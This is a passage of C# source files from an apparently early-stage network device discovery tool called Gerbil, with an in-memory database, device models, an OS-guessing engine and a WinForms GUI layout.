19 | }
20 | public virtual DataActionResult Update()
21 | {
22 | return new DataActionResult(DataResult.unknown);
23 | }
24 | }
25 | }
26 | public class Database
27 | {
28 | public int itemcount
29 | {
30 | get
31 | {
32 | return rowList.Count;
33 | }
34 | }
35 | Random rd = new Random();
36 | string dbName;
37 | Dictionary rowList = new Dictionary();
38 | public Database(string name)
39 | {
40 | dbName = name;
41 | }
42 | public DataActionResult Create(T item)
43 | {
44 | string newID;
45 | do
46 | {
47 | newID = rd.Next(100000, 999999).ToString();
48 | } while (ContainsID(newID));
49 | try
50 | {
51 | rowList.Add(newID, item);
52 | }
53 | catch
54 | {
55 | return new DataActionResult(DataResult.failed);
56 | }
57 | return new DataActionResult(DataResult.success, newID);
58 | }
59 | public T Read(string id)
60 | {
61 | if(!ContainsID(id))
62 | {
63 | //TODO: use specific exception
64 | throw new Exception();
65 | }
66 | return rowList[id];
67 | }
68 | public DataActionResult Update(string id, T item)
69 | {
70 | if (!ContainsID(id))
71 | {
72 | //TODO: use specific exception
73 | throw new Exception();
74 | }
75 | try
76 | {
77 | rowList[id] = item;
78 | }
79 | catch
80 | {
81 | return new DataActionResult(DataResult.failed, id);
82 | }
83 | return new DataActionResult(DataResult.success, id);
84 | }
85 | public DataActionResult Delete(string id)
86 | {
87 | if (!ContainsID(id))
88 | {
89 | //TODO: use specific exception
90 | throw new Exception();
91 | }
92 | try
93 | {
94 | rowList.Remove(id);
95 | }
96 | catch
97 | {
98 | return new DataActionResult(DataResult.failed, id);
99 | }
100 | return new DataActionResult(DataResult.success, id);
101 | }
102 | public string[] getAllIDs()
103 | {
104 | List resultarray = new List();
105 | foreach (KeyValuePair i in rowList)
106 | {
107 | resultarray.Add(i.Key);
108 | }
109 | return resultarray.ToArray();
110 | }
111 | public bool ContainsID(string id)
112 | {
113 | if(rowList.ContainsKey(id))
114 | {
115 | return true;
116 | }
117 | else
118 | {
119 | return false;
120 | }
121 | }
122 | }
123 | public class DataActionResult
124 | {
125 | private DataResult _DR;
126 | private string idUsed;
127 |
128 | public DataActionResult()
129 | {
130 | _DR = DataResult.unknown;
131 | idUsed = "";
132 | }
133 | public DataActionResult(DataResult DR)
134 | {
135 | _DR = DR;
136 | idUsed = "";
137 | }
138 | public DataActionResult(DataResult DR, string id)
139 | {
140 | _DR = DR;
141 | idUsed = id;
142 | }
143 | public DataResult getResult()
144 | {
145 | return _DR;
146 | }
147 | public string getItemID()
148 | {
149 | return idUsed;
150 | }
151 | }
152 | public enum DataResult
153 | {
154 | unknown,
155 | failed,
156 | success
157 | };
158 | }
159 | }
160 |
--------------------------------------------------------------------------------
/DeviceModels.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading.Tasks;
6 | using System.Net;
7 |
8 | namespace Gerbil
9 | {
10 | namespace Data
11 | {
12 | namespace Models
13 | {
14 | namespace Devices
15 | {
16 | ///
17 | /// Partial data model to represent a discoverable device connected to the network.
18 | ///
19 | public class Device
20 | {
21 | private SecurityLevel machineSecurityRel;
22 | private string networkName;
23 | private IPAddress deviceAddress;
24 | protected Dictionary properties;
25 |
26 | public Device(IPAddress dAddr)
27 | {
28 | deviceAddress = dAddr;
29 | networkName = "";
30 | machineSecurityRel = SecurityLevel.Undetermined;
31 | properties = new Dictionary();
32 | }
33 | public Device(IPAddress dAddr, string mName)
34 | {
35 | deviceAddress = dAddr;
36 | networkName = mName;
37 | machineSecurityRel = SecurityLevel.Undetermined;
38 | properties = new Dictionary();
39 | }
40 | public Device(IPAddress dAddr, string mName, SecurityLevel secState)
41 | {
42 | deviceAddress = dAddr;
43 | networkName = mName;
44 | machineSecurityRel = secState;
45 | properties = new Dictionary();
46 | }
47 | public IPAddress getDeviceIPAddress()
48 | {
49 | return deviceAddress;
50 | }
51 | public string getDeviceNetworkName()
52 | {
53 | return networkName;
54 | }
55 | public SecurityLevel getDeviceSecurityLevel()
56 | {
57 | return machineSecurityRel;
58 | }
59 | public void setDeviceSecurityLevel(SecurityLevel sl)
60 | {
61 | machineSecurityRel = sl;
62 | }
63 | }
64 | ///
65 | /// Data model to represent a computer such as a PC or Mac.
66 | ///
67 | public class Computer : Device
68 | {
69 | public Computer(IPAddress dAddr)
70 | : base(dAddr)
71 | {
72 |
73 | }
74 | public Computer(IPAddress dAddr, string mName)
75 | : base(dAddr, mName)
76 | {
77 |
78 | }
79 | public Computer(IPAddress dAddr, string mName, SecurityLevel secState)
80 | : base(dAddr, mName, secState)
81 | {
82 |
83 | }
84 | public Computer(IPAddress dAddr, string mName, SecurityLevel secState, string operatingSystemClass)
85 | : base(dAddr, mName, secState)
86 | {
87 | properties.Add("OSCLASS", operatingSystemClass);
88 | }
89 | }
90 | ///
91 | /// Data model to represent networking equipment such as routers and switches.
92 | ///
93 | public class NetworkDevice : Device
94 | {
95 | public NetworkDevice(IPAddress dAddr)
96 | : base(dAddr)
97 | {
98 |
99 | }
100 | public NetworkDevice(IPAddress dAddr, string mName)
101 | :base(dAddr, mName)
102 | {
103 |
104 | }
105 | public NetworkDevice(IPAddress dAddr, string mName, SecurityLevel secState)
106 | : base(dAddr, mName, secState)
107 | {
108 |
109 | }
110 | public NetworkDevice(IPAddress dAddr, string mName, SecurityLevel secState, string netDeviceType)
111 | : base(dAddr, mName, secState)
112 | {
113 | properties.Add("NETDEVICETYPE", netDeviceType);
114 | }
115 | }
116 | ///
117 | /// Enumerated value to show discovered relative security level of associated device.
118 | ///
119 | public enum SecurityLevel
120 | {
121 | Undetermined,
122 | None,
123 | Low,
124 | Medium,
125 | High,
126 | Locked
127 | };
128 | ///
129 | /// Enumerated value to show function of associated device.
130 | ///
131 | public enum DeviceFunction
132 | {
133 | Server,
134 | Router,
135 | Client
136 | };
137 | }
138 | }
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/Engine.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Collections.Generic;
4 | using Gerbil.IO;
5 |
6 | namespace Gerbil
7 | {
8 | namespace Gerbil_Engine
9 | {
10 | public class GerbilRunner
11 | {
12 |
13 | public GerbilRunner()
14 | {
15 |
16 | }
17 | public static NetworkResult guessOS(string[] foundServices, bool training)
18 | {
19 | NetworkResult result;
20 | // Initialize objects
21 | NeuralNetwork.Network net = new NeuralNetwork.Network();
22 |
23 | // Load in data to memory
24 | if (!File.Exists(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore", "OSServiceTraining.ini")))
25 | {
26 | return new NetworkResult("ERROR", 0.0f);
27 | }
28 | string[] trainingData = File.ReadAllLines(Path.Combine(Environment.ExpandEnvironmentVariables("%userprofile%"), "Documents", "Gerbil", "memstore","OSServiceTraining.ini"));
29 | // Calculate weights
30 | PairCounter pc = new PairCounter();
31 | foreach(string i in trainingData)
32 | {
33 | string sName = i.Split('=')[0];
34 | string fOS = i.Split('=')[1];
35 | pc.Add(new Pair(sName, fOS));
36 | }
37 | Dictionary connectionWeights = getPercentagesFromPair(pc.getResults());
38 | // TODO: Train network
39 | foreach(KeyValuePair i in connectionWeights)
40 | {
41 | net.addInput(i.Key.item1);
42 | net.addOutput(i.Key.item2, i.Key.item1 + "Connector", i.Value, i.Key.item1);
43 | }
44 | // Feed data into tranined neural network
45 | foreach(string i in foundServices)
46 | {
47 | try
48 | {
49 | net.fireInput(i);
50 | }
51 | catch(NeuralNetwork.NodeNotFoundException e)
52 | {
53 | // Service does not exist, since we are not in training mode, ignore.
54 | if(training)
55 | {
56 | //TODO: Prompt for training input
57 | Out.writeln("Unknown input service: " + i);
58 | }
59 | else
60 | {
61 | throw e;
62 | }
63 | }
64 | catch
65 | {
66 | // A serious engine error occured. Throw fatal error.
67 | throw new FatalEngineException();
68 | }
69 | }
70 | // Get outputs
71 | Dictionary results = net.getResults();
72 | string resultName = "Unknown";
73 | float resultCertainty = 0.0f;
74 | float maxCertainty = 0.0f;
75 | // Find most likely answer
76 | foreach(KeyValuePair i in results)
77 | {
78 | if(i.Value > resultCertainty)
79 | {
80 | resultName = i.Key;
81 | resultCertainty = i.Value;
82 | maxCertainty += i.Value;
83 | }
84 | }
85 | resultCertainty = resultCertainty / maxCertainty;
86 | result = new NetworkResult(resultName, resultCertainty);
87 | return result;
88 | }
89 | public static NetworkResult guessHTTPService()
90 | {
91 | NetworkResult result = new NetworkResult("Unknown", 100.0f);
92 | NeuralNetwork.Network net = new NeuralNetwork.Network();
93 | net.addInput("Windows");
94 | net.addInput("Linux");
95 | net.addInput("FreeBSD");
96 | net.addInput("PHP");
97 | net.addInput("ASP.NET");
98 | net.addInput("Static");
99 | net.addInput("Ruby/Node.js");
100 | return result;
101 | }
102 | private static Dictionary getPercentagesFromPair(Dictionary input)
103 | {
104 | int max = 0;
105 | foreach (KeyValuePair i in input)
106 | {
107 | max += i.Value;
108 | }
109 | Dictionary result = new Dictionary();
110 | foreach (KeyValuePair i in input)
111 | {
112 | result.Add(i.Key, (float)(i.Value / (float)max));
113 | }
114 | return result;
115 | }
116 | }
117 | public struct NetworkResult
118 | {
119 | private string itemName;
120 | private float certainty;
121 |
122 | public NetworkResult(string name, float ct)
123 | {
124 | itemName = name;
125 | certainty = ct;
126 | }
127 | public string getName()
128 | {
129 | return itemName;
130 | }
131 | public float getCertainty()
132 | {
133 | return certainty;
134 | }
135 | }
136 | class PairCounter
137 | {
138 | Dictionary dataHolder;
139 | public PairCounter()
140 | {
141 | dataHolder = new Dictionary();
142 | }
143 | public void Add(Pair addon)
144 | {
145 | if(dataHolder.ContainsKey(addon))
146 | {
147 | dataHolder[addon] += 1;
148 | }
149 | else
150 | {
151 | dataHolder.Add(addon, 1);
152 | }
153 | }
154 | public int getCount(Pair item)
155 | {
156 | if (dataHolder.ContainsKey(item))
157 | {
158 | return dataHolder[item];
159 | }
160 | else
161 | {
162 | return 0;
163 | }
164 | }
165 | public Dictionary getResults()
166 | {
167 | return dataHolder;
168 | }
169 | }
170 | class Pair
171 | {
172 | public string item1 = "";
173 | public string item2 = "";
174 | public Pair(string a, string b)
175 | {
176 | item1 = a;
177 | item2 = b;
178 | }
179 | }
180 | class FatalEngineException : Exception
181 | {
182 |
183 | }
184 | }
185 | }
186 |
--------------------------------------------------------------------------------
/Gerbil.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {BE0426CD-233D-48A0-86BD-C5F186ABF6D5}
8 | Exe
9 | Properties
10 | Gerbil
11 | Gerbil
12 | v4.5
13 | 512
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 | Form
52 |
53 |
54 | GerbilGui.cs
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 | GerbilGui.cs
72 |
73 |
74 |
75 |
82 |
--------------------------------------------------------------------------------
/Gerbil.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 2013
4 | VisualStudioVersion = 12.0.31101.0
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Gerbil", "Gerbil.csproj", "{BE0426CD-233D-48A0-86BD-C5F186ABF6D5}"
7 | EndProject
8 | Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = ".nuget", ".nuget", "{09909234-8EFD-45DC-BE66-84C531133227}"
9 | ProjectSection(SolutionItems) = preProject
10 | .nuget\packages.config = .nuget\packages.config
11 | EndProjectSection
12 | EndProject
13 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GerbilTest", "GerbilTest\GerbilTest.csproj", "{DC7BC4E2-DB21-4227-BCB4-3781C723D307}"
14 | EndProject
15 | Global
16 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
17 | Debug|Any CPU = Debug|Any CPU
18 | Release|Any CPU = Release|Any CPU
19 | EndGlobalSection
20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
21 | {BE0426CD-233D-48A0-86BD-C5F186ABF6D5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
22 | {BE0426CD-233D-48A0-86BD-C5F186ABF6D5}.Debug|Any CPU.Build.0 = Debug|Any CPU
23 | {BE0426CD-233D-48A0-86BD-C5F186ABF6D5}.Release|Any CPU.ActiveCfg = Release|Any CPU
24 | {BE0426CD-233D-48A0-86BD-C5F186ABF6D5}.Release|Any CPU.Build.0 = Release|Any CPU
25 | {DC7BC4E2-DB21-4227-BCB4-3781C723D307}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
26 | {DC7BC4E2-DB21-4227-BCB4-3781C723D307}.Debug|Any CPU.Build.0 = Debug|Any CPU
27 | {DC7BC4E2-DB21-4227-BCB4-3781C723D307}.Release|Any CPU.ActiveCfg = Release|Any CPU
28 | {DC7BC4E2-DB21-4227-BCB4-3781C723D307}.Release|Any CPU.Build.0 = Release|Any CPU
29 | EndGlobalSection
30 | GlobalSection(SolutionProperties) = preSolution
31 | HideSolutionNode = FALSE
32 | EndGlobalSection
33 | EndGlobal
34 |
--------------------------------------------------------------------------------
/GerbilGui.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace Gerbil
2 | {
3 | partial class GerbilGui
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.statusStrip1 = new System.Windows.Forms.StatusStrip();
32 | this.toolStripProgressBar1 = new System.Windows.Forms.ToolStripProgressBar();
33 | this.menuStrip1 = new System.Windows.Forms.MenuStrip();
34 | this.gerbilToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
35 | this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
36 | this.toolStrip1 = new System.Windows.Forms.ToolStrip();
37 | this.splitContainer1 = new System.Windows.Forms.SplitContainer();
38 | this.listBox1 = new System.Windows.Forms.ListBox();
39 | this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel();
40 | this.groupBox1 = new System.Windows.Forms.GroupBox();
41 | this.label1 = new System.Windows.Forms.Label();
42 | this.label2 = new System.Windows.Forms.Label();
43 | this.label3 = new System.Windows.Forms.Label();
44 | this.label4 = new System.Windows.Forms.Label();
45 | this.groupBox2 = new System.Windows.Forms.GroupBox();
46 | this.label5 = new System.Windows.Forms.Label();
47 | this.label6 = new System.Windows.Forms.Label();
48 | this.label7 = new System.Windows.Forms.Label();
49 | this.label8 = new System.Windows.Forms.Label();
50 | this.groupBox3 = new System.Windows.Forms.GroupBox();
51 | this.listBox2 = new System.Windows.Forms.ListBox();
52 | this.groupBox4 = new System.Windows.Forms.GroupBox();
53 | this.listBox3 = new System.Windows.Forms.ListBox();
54 | this.statusStrip1.SuspendLayout();
55 | this.menuStrip1.SuspendLayout();
56 | ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit();
57 | this.splitContainer1.Panel1.SuspendLayout();
58 | this.splitContainer1.Panel2.SuspendLayout();
59 | this.splitContainer1.SuspendLayout();
60 | this.flowLayoutPanel1.SuspendLayout();
61 | this.groupBox1.SuspendLayout();
62 | this.groupBox2.SuspendLayout();
63 | this.groupBox3.SuspendLayout();
64 | this.groupBox4.SuspendLayout();
65 | this.SuspendLayout();
66 | //
67 | // statusStrip1
68 | //
69 | this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
70 | this.toolStripProgressBar1});
71 | this.statusStrip1.Location = new System.Drawing.Point(0, 466);
72 | this.statusStrip1.Name = "statusStrip1";
73 | this.statusStrip1.Size = new System.Drawing.Size(730, 22);
74 | this.statusStrip1.TabIndex = 0;
75 | this.statusStrip1.Text = "statusStrip1";
76 | //
77 | // toolStripProgressBar1
78 | //
79 | this.toolStripProgressBar1.Name = "toolStripProgressBar1";
80 | this.toolStripProgressBar1.Size = new System.Drawing.Size(100, 16);
81 | //
82 | // menuStrip1
83 | //
84 | this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
85 | this.gerbilToolStripMenuItem});
86 | this.menuStrip1.Location = new System.Drawing.Point(0, 0);
87 | this.menuStrip1.Name = "menuStrip1";
88 | this.menuStrip1.Size = new System.Drawing.Size(730, 24);
89 | this.menuStrip1.TabIndex = 1;
90 | this.menuStrip1.Text = "menuStrip1";
91 | //
92 | // gerbilToolStripMenuItem
93 | //
94 | this.gerbilToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
95 | this.exitToolStripMenuItem});
96 | this.gerbilToolStripMenuItem.Name = "gerbilToolStripMenuItem";
97 | this.gerbilToolStripMenuItem.Size = new System.Drawing.Size(50, 20);
98 | this.gerbilToolStripMenuItem.Text = "Gerbil";
99 | //
100 | // exitToolStripMenuItem
101 | //
102 | this.exitToolStripMenuItem.Name = "exitToolStripMenuItem";
103 | this.exitToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
104 | this.exitToolStripMenuItem.Text = "Exit";
105 | //
106 | // toolStrip1
107 | //
108 | this.toolStrip1.Location = new System.Drawing.Point(0, 24);
109 | this.toolStrip1.Name = "toolStrip1";
110 | this.toolStrip1.Size = new System.Drawing.Size(730, 25);
111 | this.toolStrip1.TabIndex = 2;
112 | this.toolStrip1.Text = "toolStrip1";
113 | //
114 | // splitContainer1
115 | //
116 | this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill;
117 | this.splitContainer1.Location = new System.Drawing.Point(0, 49);
118 | this.splitContainer1.Name = "splitContainer1";
119 | //
120 | // splitContainer1.Panel1
121 | //
122 | this.splitContainer1.Panel1.Controls.Add(this.listBox1);
123 | //
124 | // splitContainer1.Panel2
125 | //
126 | this.splitContainer1.Panel2.Controls.Add(this.flowLayoutPanel1);
127 | this.splitContainer1.Size = new System.Drawing.Size(730, 417);
128 | this.splitContainer1.SplitterDistance = 243;
129 | this.splitContainer1.TabIndex = 3;
130 | //
131 | // listBox1
132 | //
133 | this.listBox1.Dock = System.Windows.Forms.DockStyle.Fill;
134 | this.listBox1.FormattingEnabled = true;
135 | this.listBox1.Location = new System.Drawing.Point(0, 0);
136 | this.listBox1.Name = "listBox1";
137 | this.listBox1.Size = new System.Drawing.Size(243, 417);
138 | this.listBox1.TabIndex = 0;
139 | this.listBox1.SelectedValueChanged += new System.EventHandler(this.listBox1_SelectedValueChanged);
140 | //
141 | // flowLayoutPanel1
142 | //
143 | this.flowLayoutPanel1.Controls.Add(this.groupBox1);
144 | this.flowLayoutPanel1.Controls.Add(this.groupBox2);
145 | this.flowLayoutPanel1.Controls.Add(this.groupBox3);
146 | this.flowLayoutPanel1.Controls.Add(this.groupBox4);
147 | this.flowLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill;
148 | this.flowLayoutPanel1.Location = new System.Drawing.Point(0, 0);
149 | this.flowLayoutPanel1.Name = "flowLayoutPanel1";
150 | this.flowLayoutPanel1.Size = new System.Drawing.Size(483, 417);
151 | this.flowLayoutPanel1.TabIndex = 0;
152 | //
153 | // groupBox1
154 | //
155 | this.groupBox1.Controls.Add(this.label4);
156 | this.groupBox1.Controls.Add(this.label3);
157 | this.groupBox1.Controls.Add(this.label2);
158 | this.groupBox1.Controls.Add(this.label1);
159 | this.groupBox1.Location = new System.Drawing.Point(3, 3);
160 | this.groupBox1.Name = "groupBox1";
161 | this.groupBox1.Size = new System.Drawing.Size(214, 80);
162 | this.groupBox1.TabIndex = 0;
163 | this.groupBox1.TabStop = false;
164 | this.groupBox1.Text = "Device info";
165 | //
166 | // label1
167 | //
168 | this.label1.AutoSize = true;
169 | this.label1.Location = new System.Drawing.Point(6, 16);
170 | this.label1.Name = "label1";
171 | this.label1.Size = new System.Drawing.Size(41, 13);
172 | this.label1.TabIndex = 0;
173 | this.label1.Text = "Name: ";
174 | //
175 | // label2
176 | //
177 | this.label2.AutoSize = true;
178 | this.label2.Location = new System.Drawing.Point(6, 29);
179 | this.label2.Name = "label2";
180 | this.label2.Size = new System.Drawing.Size(64, 13);
181 | this.label2.TabIndex = 1;
182 | this.label2.Text = "IP Address: ";
183 | //
184 | // label3
185 | //
186 | this.label3.AutoSize = true;
187 | this.label3.Location = new System.Drawing.Point(6, 42);
188 | this.label3.Name = "label3";
189 | this.label3.Size = new System.Drawing.Size(77, 13);
190 | this.label3.TabIndex = 2;
191 | this.label3.Text = "MAC Address: ";
192 | //
193 | // label4
194 | //
195 | this.label4.AutoSize = true;
196 | this.label4.Location = new System.Drawing.Point(6, 55);
197 | this.label4.Name = "label4";
198 | this.label4.Size = new System.Drawing.Size(70, 13);
199 | this.label4.TabIndex = 3;
200 | this.label4.Text = "Detected At: ";
201 | //
202 | // groupBox2
203 | //
204 | this.groupBox2.Controls.Add(this.label8);
205 | this.groupBox2.Controls.Add(this.label7);
206 | this.groupBox2.Controls.Add(this.label6);
207 | this.groupBox2.Controls.Add(this.label5);
208 | this.groupBox2.Location = new System.Drawing.Point(223, 3);
209 | this.groupBox2.Name = "groupBox2";
210 | this.groupBox2.Size = new System.Drawing.Size(200, 80);
211 | this.groupBox2.TabIndex = 1;
212 | this.groupBox2.TabStop = false;
213 | this.groupBox2.Text = "Engine results";
214 | //
215 | // label5
216 | //
217 | this.label5.AutoSize = true;
218 | this.label5.Location = new System.Drawing.Point(6, 16);
219 | this.label5.Name = "label5";
220 | this.label5.Size = new System.Drawing.Size(60, 13);
221 | this.label5.TabIndex = 2;
222 | this.label5.Text = "OS Family: ";
223 | //
224 | // label6
225 | //
226 | this.label6.AutoSize = true;
227 | this.label6.Location = new System.Drawing.Point(6, 29);
228 | this.label6.Name = "label6";
229 | this.label6.Size = new System.Drawing.Size(59, 13);
230 | this.label6.TabIndex = 3;
231 | this.label6.Text = "OS Name: ";
232 | //
233 | // label7
234 | //
235 | this.label7.AutoSize = true;
236 | this.label7.Location = new System.Drawing.Point(6, 42);
237 | this.label7.Name = "label7";
238 | this.label7.Size = new System.Drawing.Size(74, 13);
239 | this.label7.TabIndex = 4;
240 | this.label7.Text = "Device Type: ";
241 | //
242 | // label8
243 | //
244 | this.label8.AutoSize = true;
245 | this.label8.Location = new System.Drawing.Point(6, 55);
246 | this.label8.Name = "label8";
247 | this.label8.Size = new System.Drawing.Size(72, 13);
248 | this.label8.TabIndex = 5;
249 | this.label8.Text = "Device Role: ";
250 | //
251 | // groupBox3
252 | //
253 | this.groupBox3.Controls.Add(this.listBox2);
254 | this.groupBox3.Location = new System.Drawing.Point(3, 89);
255 | this.groupBox3.Name = "groupBox3";
256 | this.groupBox3.Size = new System.Drawing.Size(214, 167);
257 | this.groupBox3.TabIndex = 2;
258 | this.groupBox3.TabStop = false;
259 | this.groupBox3.Text = "Found Services";
260 | //
261 | // listBox2
262 | //
263 | this.listBox2.Dock = System.Windows.Forms.DockStyle.Fill;
264 | this.listBox2.FormattingEnabled = true;
265 | this.listBox2.Location = new System.Drawing.Point(3, 16);
266 | this.listBox2.Name = "listBox2";
267 | this.listBox2.Size = new System.Drawing.Size(208, 148);
268 | this.listBox2.TabIndex = 0;
269 | //
270 | // groupBox4
271 | //
272 | this.groupBox4.Controls.Add(this.listBox3);
273 | this.groupBox4.Location = new System.Drawing.Point(223, 89);
274 | this.groupBox4.Name = "groupBox4";
275 | this.groupBox4.Size = new System.Drawing.Size(200, 164);
276 | this.groupBox4.TabIndex = 3;
277 | this.groupBox4.TabStop = false;
278 | this.groupBox4.Text = "Attack Log";
279 | //
280 | // listBox3
281 | //
282 | this.listBox3.Dock = System.Windows.Forms.DockStyle.Fill;
283 | this.listBox3.FormattingEnabled = true;
284 | this.listBox3.Location = new System.Drawing.Point(3, 16);
285 | this.listBox3.Name = "listBox3";
286 | this.listBox3.Size = new System.Drawing.Size(194, 145);
287 | this.listBox3.TabIndex = 0;
288 | //
289 | // GerbilGui
290 | //
291 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
292 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
293 | this.ClientSize = new System.Drawing.Size(730, 488);
294 | this.Controls.Add(this.splitContainer1);
295 | this.Controls.Add(this.toolStrip1);
296 | this.Controls.Add(this.statusStrip1);
297 | this.Controls.Add(this.menuStrip1);
298 | this.MainMenuStrip = this.menuStrip1;
299 | this.Name = "GerbilGui";
300 | this.Text = "GerbilGui";
301 | this.statusStrip1.ResumeLayout(false);
302 | this.statusStrip1.PerformLayout();
303 | this.menuStrip1.ResumeLayout(false);
304 | this.menuStrip1.PerformLayout();
305 | this.splitContainer1.Panel1.ResumeLayout(false);
306 | this.splitContainer1.Panel2.ResumeLayout(false);
307 | ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit();
308 | this.splitContainer1.ResumeLayout(false);
309 | this.flowLayoutPanel1.ResumeLayout(false);
310 | this.groupBox1.ResumeLayout(false);
311 | this.groupBox1.PerformLayout();
312 | this.groupBox2.ResumeLayout(false);
313 | this.groupBox2.PerformLayout();
314 | this.groupBox3.ResumeLayout(false);
315 | this.groupBox4.ResumeLayout(false);
316 | this.ResumeLayout(false);
317 | this.PerformLayout();
318 |
319 | }
320 |
321 | #endregion
322 |
323 | private System.Windows.Forms.StatusStrip statusStrip1;
324 | private System.Windows.Forms.ToolStripProgressBar toolStripProgressBar1;
325 | private System.Windows.Forms.MenuStrip menuStrip1;
326 | private System.Windows.Forms.ToolStripMenuItem gerbilToolStripMenuItem;
327 | private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem;
328 | private System.Windows.Forms.ToolStrip toolStrip1;
329 | private System.Windows.Forms.SplitContainer splitContainer1;
330 | private System.Windows.Forms.ListBox listBox1;
331 | private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1;
332 | private System.Windows.Forms.GroupBox groupBox1;
333 | private System.Windows.Forms.Label label4;
334 | private System.Windows.Forms.Label label3;
335 | private System.Windows.Forms.Label label2;
336 | private System.Windows.Forms.Label label1;
337 | private System.Windows.Forms.GroupBox groupBox2;
338 | private System.Windows.Forms.Label label8;
339 | private System.Windows.Forms.Label label7;
340 | private System.Windows.Forms.Label label6;
341 | private System.Windows.Forms.Label label5;
342 | private System.Windows.Forms.GroupBox groupBox3;
343 | private System.Windows.Forms.ListBox listBox2;
344 | private System.Windows.Forms.GroupBox groupBox4;
345 | private System.Windows.Forms.ListBox listBox3;
346 | }
347 | }
--------------------------------------------------------------------------------
/GerbilGui.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 |
11 | namespace Gerbil
12 | {
13 | public partial class GerbilGui : Form
14 | {
15 | public GerbilGui()
16 | {
17 | InitializeComponent();
18 | }
19 |
20 | private void listBox1_SelectedValueChanged(object sender, EventArgs e)
21 | {
22 | // TODO: Retrieve data from data service
23 | // TODO: Load data into form controls
24 | }
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/GerbilGui.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
124 | 133, 17
125 |
126 |
127 | 248, 17
128 |
129 |
--------------------------------------------------------------------------------
/GerbilTest/GerbilTest.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | AnyCPU
6 | {DC7BC4E2-DB21-4227-BCB4-3781C723D307}
7 | Library
8 | Properties
9 | GerbilTest
10 | GerbilTest
11 | v4.5
12 | 512
13 | {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}
14 | 10.0
15 | $(MSBuildExtensionsPath32)\Microsoft\VisualStudio\v$(VisualStudioVersion)
16 | $(ProgramFiles)\Common Files\microsoft shared\VSTT\$(VisualStudioVersion)\UITestExtensionPackages
17 | False
18 | UnitTest
19 |
20 |
21 | true
22 | full
23 | false
24 | bin\Debug\
25 | DEBUG;TRACE
26 | prompt
27 | 4
28 |
29 |
30 | pdbonly
31 | true
32 | bin\Release\
33 | TRACE
34 | prompt
35 | 4
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
